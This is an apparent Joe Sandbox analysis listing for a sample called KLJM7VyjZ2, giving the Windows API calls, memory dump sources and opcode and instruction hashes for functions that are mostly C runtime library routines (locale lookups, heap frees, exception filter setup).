Instruction ID: b17a39ce31c45acbe1e2818b22c08fed44677eae2b242624d171db0069602395
Opcode Fuzzy Hash: 8c5b926c13eeb8bfac8504b2cec0fc6efa59ba92f1058d0844c2318c24ddd873
Instruction Fuzzy Hash: 6911E5766107019FDB189F39D8916FBBB91FF80358B18442EE94787B40DB75B982CB44

Uniqueness

Uniqueness Score: -1.00%

Function 01CC9186 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 01CC0FA7: GetLastError.KERNEL32(01CB214C,?,01CB2150,01CBC6D8,?,01CB214C,?,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC0FAC
Part of subcall function 01CC0FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC104A

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,01CC8F23,00000000,00000000,?), ref: 01CC91B2

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 6dd4d5c19a520f287de4a3637a0495bc3ade3141b3e6c407e4f0bca849112d04
Instruction ID: f278cfb97070e5150d7002be6fa5a3b84f2093d64a6a54130ca5d0c6ba255dec
Opcode Fuzzy Hash: 6dd4d5c19a520f287de4a3637a0495bc3ade3141b3e6c407e4f0bca849112d04
Instruction Fuzzy Hash: B2F0F936910112FBEB2457A9CC0FABA7B58DB80B5CF04042DED02A3140DA34FF41C590

Uniqueness

Uniqueness Score: -1.00%

Function 00418F1F Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00418CBC,00000000,00000000,?), ref: 00418F4B

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 6dd4d5c19a520f287de4a3637a0495bc3ade3141b3e6c407e4f0bca849112d04
Instruction ID: 0926ee73390869665b5f2bb74d6bf307d48cedc2f3589178bc3eb242e6ba615c
Opcode Fuzzy Hash: 6dd4d5c19a520f287de4a3637a0495bc3ade3141b3e6c407e4f0bca849112d04
Instruction Fuzzy Hash: 95F0F436B40115BBDB285B61C805BFB7769EB40358F1C442EEC06A3280EE78FE82C694

Uniqueness

Uniqueness Score: -1.00%

Function 01CC8C7C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 01CC0FA7: GetLastError.KERNEL32(01CB214C,?,01CB2150,01CBC6D8,?,01CB214C,?,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC0FAC
Part of subcall function 01CC0FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC104A

EnumSystemLocalesW.KERNEL32(00418CF3,00000001,00000003,?,-00000050,?,01CC92F9,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 01CC8CC6

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 127edebdce0c90efb0bb0138767b42b40ae02df91dd26882403e2de394f85398
Instruction ID: c07691dea9d2fc98a847f041d8cd4603546135fa447bee5ae740b65e1b6f73c8
Opcode Fuzzy Hash: 127edebdce0c90efb0bb0138767b42b40ae02df91dd26882403e2de394f85398
Instruction Fuzzy Hash: FCF02236200305AFDB146F398880A7B7B91EF80B28B05406DFA028BA80D6B19D42C650

Uniqueness

Uniqueness Score: -1.00%

Function 00418A15 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

EnumSystemLocalesW.KERNEL32(00418CF3,00000001,00000003,?,-00000050,?,00419092,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00418A5F

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 127edebdce0c90efb0bb0138767b42b40ae02df91dd26882403e2de394f85398
Instruction ID: 478162f42851c0ca8c2573bd03bd8f545336c01413021e0a340656d178cafc13
Opcode Fuzzy Hash: 127edebdce0c90efb0bb0138767b42b40ae02df91dd26882403e2de394f85398
Instruction Fuzzy Hash: 7EF0C2362003046FDB249F39D881ABA7B95EF807A8F15442EF9458B690DBB5AD81C658

Uniqueness

Uniqueness Score: -1.00%

Function 01CC1509 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 01CBCE39: RtlEnterCriticalSection.NTDLL(?), ref: 01CBCE48

EnumSystemLocalesW.KERNEL32(00411295,00000001,00429320,0000000C,01CC1927,?), ref: 01CC1541

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: a24478f2bc2c4b1ffe5d761b8d03ccaf16f04affbdacb6ecb8e68545b2b83788
Instruction ID: 626277da88e3c4ef86d0ef611b1d8d0ae1a8e2defd8e55007f804000d87805e1
Opcode Fuzzy Hash: a24478f2bc2c4b1ffe5d761b8d03ccaf16f04affbdacb6ecb8e68545b2b83788
Instruction Fuzzy Hash: 07F0A9B2B00205EFD710EF98E881B9D77F0EB18720F20802BE410EB2A0CB749940DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004112A2 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0040CBD2: EnterCriticalSection.KERNEL32(?,?,0040DD30,00000000,004291C0,0000000C,0040DCF7,?,?,00411231,?,?,00410EE2,00000001,00000364,00000008), ref: 0040CBE1

EnumSystemLocalesW.KERNEL32(Function_00011295,00000001,00429320,0000000C,004116C0,?), ref: 004112DA

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: a24478f2bc2c4b1ffe5d761b8d03ccaf16f04affbdacb6ecb8e68545b2b83788
Instruction ID: 2fad073ecbef307a0d6f111d51cdaffc79e950b14030b6703a22260b0b619bdf
Opcode Fuzzy Hash: a24478f2bc2c4b1ffe5d761b8d03ccaf16f04affbdacb6ecb8e68545b2b83788
Instruction Fuzzy Hash: 1EF03C76B40254EFD710EF58E842B9D77F0EB44724F10816FE914AB2E0CB7959458B49

Uniqueness

Uniqueness Score: -1.00%

Function 01CC8B96 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 01CC0FA7: GetLastError.KERNEL32(01CB214C,?,01CB2150,01CBC6D8,?,01CB214C,?,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC0FAC
Part of subcall function 01CC0FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC104A

EnumSystemLocalesW.KERNEL32(00418888,00000001,00000003,?,?,01CC9357,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 01CC8BCD

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: a721864ee6c7931a85ebd8dd8b889987cc421d5231deb81b35d6e9885c14ae1d
Instruction ID: efdf9a61215ab4ed2712bbf3026c2e593b96a043852ca096ae91bddff46efcfa
Opcode Fuzzy Hash: a721864ee6c7931a85ebd8dd8b889987cc421d5231deb81b35d6e9885c14ae1d
Instruction Fuzzy Hash: 9EF0553A300209A7CB04AF39DC15AAB7F90EFC2B20B0A409DEA058B640C675DD82C790

Uniqueness

Uniqueness Score: -1.00%

Function 0041892F Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

EnumSystemLocalesW.KERNEL32(00418888,00000001,00000003,?,?,004190F0,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00418966

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: a721864ee6c7931a85ebd8dd8b889987cc421d5231deb81b35d6e9885c14ae1d
Instruction ID: 434bd90f9414b98808150305246e1d0cb3661f0e8a735056172e9d40366ebd18
Opcode Fuzzy Hash: a721864ee6c7931a85ebd8dd8b889987cc421d5231deb81b35d6e9885c14ae1d
Instruction Fuzzy Hash: 66F0553A30020457CB04AF35E8056BBBF90EFC2760B0A405EFA098B650CA799C82CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01CC1A2B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,01CC0009,?,20001004,00000000,00000002,?,?,01CBF616), ref: 01CC1A5F

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e4c789af67278788dffe9a087bd2880ff700be03534d4701b505ff5e7740c75a
Instruction ID: bf287a306af84e942d92ad3437fe40e7034fb4655e0e48bbdf2f8b28047c7396
Opcode Fuzzy Hash: e4c789af67278788dffe9a087bd2880ff700be03534d4701b505ff5e7740c75a
Instruction Fuzzy Hash: 56E04F71900518FBCF126F66DC08EDE3F56EF44B60F088024FD0565126DB31CD20AAD4

Uniqueness

Uniqueness Score: -1.00%

Function 004117C4 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0040FDA2,?,20001004,00000000,00000002,?,?,0040F3AF), ref: 004117F8

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7dfd2f7fe9333bcd9ab1f1e649f3dfd416cee645eef405dfc41d56f5540eb6f2
Instruction ID: f1ffad9f7493a20e1e47896534fb325b68066d6c8e44c3ca6cb9becada3ee989
Opcode Fuzzy Hash: 7dfd2f7fe9333bcd9ab1f1e649f3dfd416cee645eef405dfc41d56f5540eb6f2
Instruction Fuzzy Hash: 42E04F7160012DBBCF122F61DC04EDE7F16EF44760F008026FE2565270CB3A8961AA9D

Uniqueness

Uniqueness Score: -1.00%

Function 01CB8A70 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00408815,01CB8652), ref: 01CB8A75

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 38af26235b8cc3ceae49358e8a54956bb69905a5ce5cd97359cf396c773beb13
Instruction ID: 88ea734170ceb8da17e4ae8e7696b0f7264f27bf5bd06e65ff9b2a7556fbe227
Opcode Fuzzy Hash: 38af26235b8cc3ceae49358e8a54956bb69905a5ce5cd97359cf396c773beb13
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00408809 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00008815,004083EB), ref: 0040880E

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 38af26235b8cc3ceae49358e8a54956bb69905a5ce5cd97359cf396c773beb13
Instruction ID: 88ea734170ceb8da17e4ae8e7696b0f7264f27bf5bd06e65ff9b2a7556fbe227
Opcode Fuzzy Hash: 38af26235b8cc3ceae49358e8a54956bb69905a5ce5cd97359cf396c773beb13
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 01CB9AC7 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

wB, xrefs: 01CB9ACB

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID: wB
API String ID: 0-480074513
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 09bc03573a7ef4e58f08d0287a89fb9e559a251507a3062cd91ff5bbe982b8d9
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 4E11B6F7200041C3AA398A2DD4F46F6FF9AEBC6128FAD426AD341CBE58D132E6449600

Uniqueness

Uniqueness Score: -1.00%

Function 00416A7C Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00416A7C

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: be0d64fc628961a75c7fea696ec86539ed3f2f6f90ec2866f805486d45399620
Instruction ID: 9a80fc1e86b51b65d844f4e1b3b296cb5ecca0acffe3ceb98a2f460cf26000b7
Opcode Fuzzy Hash: be0d64fc628961a75c7fea696ec86539ed3f2f6f90ec2866f805486d45399620
Instruction Fuzzy Hash: 83A011B0A002088B83008F30AE083083EA8BA082E0B808238A000C2020EB208002AA08

Uniqueness

Uniqueness Score: -1.00%

Function 00421D42 Relevance: 1.2, Instructions: 1240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a92eb97faa585322f45f7fb8420ea7d540b458c1591536db9958a69519d6dbc9
Instruction ID: c0053dd0554d4784ef2045a8a208c3e29092e59470b1336dba1b24350bc7481d
Opcode Fuzzy Hash: a92eb97faa585322f45f7fb8420ea7d540b458c1591536db9958a69519d6dbc9
Instruction Fuzzy Hash: 6AB2969694E7D21FD7178B742E39644BF706A2311478E86DFC4C5CF8A3E24C990AC36A

Uniqueness

Uniqueness Score: -1.00%

Function 00413C49 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 656f4a777774534caa05a715824ad20497830ec17b4398a361ec3e82dfec4615
Instruction ID: ce91a84200b12bb3e65472564ab51a4661800a2c0db6da400fdd48d9a081512b
Opcode Fuzzy Hash: 656f4a777774534caa05a715824ad20497830ec17b4398a361ec3e82dfec4615
Instruction Fuzzy Hash: E332F331E29F414DD7339634C822336A688AFB73D9F55D737E819B5AA6EB28D4C34108

Uniqueness

Uniqueness Score: -1.00%

Function 00409860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: c224a7b1d3b2b472e7c4d78a28fe39c54548d5fa19f656e8a42d0415e5b22b21
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 891138B722018243E6049A2DC8F45B7A395EBC732172CC37BD0426B7CAD23AEC45A608

Uniqueness

Uniqueness Score: -1.00%

Function 01D2004B Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1829489628.0000000001D1F000.00000040.00000020.00020000.00000000.sdmp, Offset: 01D1F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d1f000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: a9dc9225f61582732e854b3494f8f0236f5d2f37b38c95f068f4cfa2d462340c
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 8D11CE72340221AFE744CF69DC80FA673EAEB9C224B198065ED04CB366D67AE801C760

Uniqueness

Uniqueness Score: -1.00%

Function 01CB0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 26420741f24ef5e7a3306ee3f94f1ee57392690140b75048509e7276cc50f383
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 4C018476600604CFDF22CF64C845BEF33B9FB85215F4945A5E506D7282E774E941CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01CC13F9 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92976e27265fe885d89e0f6fad5462a5c08e5a4a2b5dbc5281e8658eadfb1027
Instruction ID: 6966792f46896d526cfb0da2ee1bb8d20182c7e121932bedd6fc1c7e73bf1a27
Opcode Fuzzy Hash: 92976e27265fe885d89e0f6fad5462a5c08e5a4a2b5dbc5281e8658eadfb1027
Instruction Fuzzy Hash: 4BE08C32915228EBCB24DB8DC904D8AF7FCEB44F10B1944AAFA01E3101C270DE40D7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00411192 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92976e27265fe885d89e0f6fad5462a5c08e5a4a2b5dbc5281e8658eadfb1027
Instruction ID: 0127a740ddf63ee29669ecccb8c56c2eb241db55512d73dd5e6eafc6ae65d901
Opcode Fuzzy Hash: 92976e27265fe885d89e0f6fad5462a5c08e5a4a2b5dbc5281e8658eadfb1027
Instruction Fuzzy Hash: 04E04672A21228EBCB25DB898904D8AF2BCEB48B04B15019AB611D3220C274DE40C7DC

Uniqueness

Uniqueness Score: -1.00%

Function 01CBD2D7 Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 01CBD346
_free.LIBCMT ref: 01CBD35C
_free.LIBCMT ref: 01CBD36F
_free.LIBCMT ref: 01CBD384
_free.LIBCMT ref: 01CBD399
GetCPInfo.KERNEL32(?,?), ref: 01CBD3E3

Part of subcall function 01CC3108: _free.LIBCMT ref: 01CC3173

_free.LIBCMT ref: 01CBD64E
_free.LIBCMT ref: 01CBD661
_free.LIBCMT ref: 01CBD66F
_free.LIBCMT ref: 01CBD67A
_free.LIBCMT ref: 01CBD6BC
_free.LIBCMT ref: 01CBD6C4
_free.LIBCMT ref: 01CBD6CA
_free.LIBCMT ref: 01CBD6D2
_free.LIBCMT ref: 01CBD6E0

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 850d41b9ea7620a9bbc0545b0f443e09ea2c189d2119f7f654799f89de4b0c77
Instruction ID: 91993bec368b117942a15a6a49e6991b62fc25a0ec4055c581957756b7c94ef4
Opcode Fuzzy Hash: 850d41b9ea7620a9bbc0545b0f443e09ea2c189d2119f7f654799f89de4b0c77
Instruction Fuzzy Hash: BFD18C71E00306DFDB11DFA9C880BEEBBF4BF18304F14452AE59AEB242D675E9459B50

Uniqueness

Uniqueness Score: -1.00%

Function 0040D070 Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0040D0DF
_free.LIBCMT ref: 0040D0F5
_free.LIBCMT ref: 0040D108
_free.LIBCMT ref: 0040D11D
_free.LIBCMT ref: 0040D132
GetCPInfo.KERNEL32(?,?), ref: 0040D17C

Part of subcall function 00412EA1: _free.LIBCMT ref: 00412F0C

_free.LIBCMT ref: 0040D3E7
_free.LIBCMT ref: 0040D3FA
_free.LIBCMT ref: 0040D408
_free.LIBCMT ref: 0040D413
_free.LIBCMT ref: 0040D455
_free.LIBCMT ref: 0040D45D
_free.LIBCMT ref: 0040D463
_free.LIBCMT ref: 0040D46B
_free.LIBCMT ref: 0040D479

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 65bc85b268157d86e1641153401a954afe29d198bfc914ab22ba314f3bf45bef
Instruction ID: f48acb67b4c6df89428c4c1f837389808573a3c9901b7a429869786fca5a7aff
Opcode Fuzzy Hash: 65bc85b268157d86e1641153401a954afe29d198bfc914ab22ba314f3bf45bef
Instruction Fuzzy Hash: 2AD18D71D002059FDB11DFA9C881BEEBBB5BF48300F14407AE999B7392D778A949CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00407F24 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042B3A4,00000FA0,?,?,00407F02), ref: 00407F30
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00407F02), ref: 00407F3B
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00407F02), ref: 00407F4C
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00407F5E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00407F6C
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00407F02), ref: 00407F8F
DeleteCriticalSection.KERNEL32(0042B3A4,00000007,?,?,00407F02), ref: 00407FAB
CloseHandle.KERNEL32(00000000,?,?,00407F02), ref: 00407FBB

Strings

kernel32.dll, xrefs: 00407F47
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00407F36
WakeAllConditionVariable, xrefs: 00407F64
SleepConditionVariableCS, xrefs: 00407F58

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 3afd87156110544aab6276892685be635895f3eea0f680a35fae2ea3849afc99
Instruction ID: a19f058fcb25ef7d0541567dcf108cb76fc932f657a8580cad76dbe9db88d878
Opcode Fuzzy Hash: 3afd87156110544aab6276892685be635895f3eea0f680a35fae2ea3849afc99
Instruction Fuzzy Hash: FA0180B1F44622AFC6209B61AC08B962F98EB48745B554036FD09E2290DB7CD80286AE

Uniqueness

Uniqueness Score: -1.00%

Function 01CC7EDB Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 01CC7F1F

Part of subcall function 01CC7187: _free.LIBCMT ref: 01CC71A4
Part of subcall function 01CC7187: _free.LIBCMT ref: 01CC71B6
Part of subcall function 01CC7187: _free.LIBCMT ref: 01CC71C8
Part of subcall function 01CC7187: _free.LIBCMT ref: 01CC71DA
Part of subcall function 01CC7187: _free.LIBCMT ref: 01CC71EC
Part of subcall function 01CC7187: _free.LIBCMT ref: 01CC71FE
Part of subcall function 01CC7187: _free.LIBCMT ref: 01CC7210
Part of subcall function 01CC7187: _free.LIBCMT ref: 01CC7222
Part of subcall function 01CC7187: _free.LIBCMT ref: 01CC7234
Part of subcall function 01CC7187: _free.LIBCMT ref: 01CC7246
Part of subcall function 01CC7187: _free.LIBCMT ref: 01CC7258
Part of subcall function 01CC7187: _free.LIBCMT ref: 01CC726A
Part of subcall function 01CC7187: _free.LIBCMT ref: 01CC727C

_free.LIBCMT ref: 01CC7F14

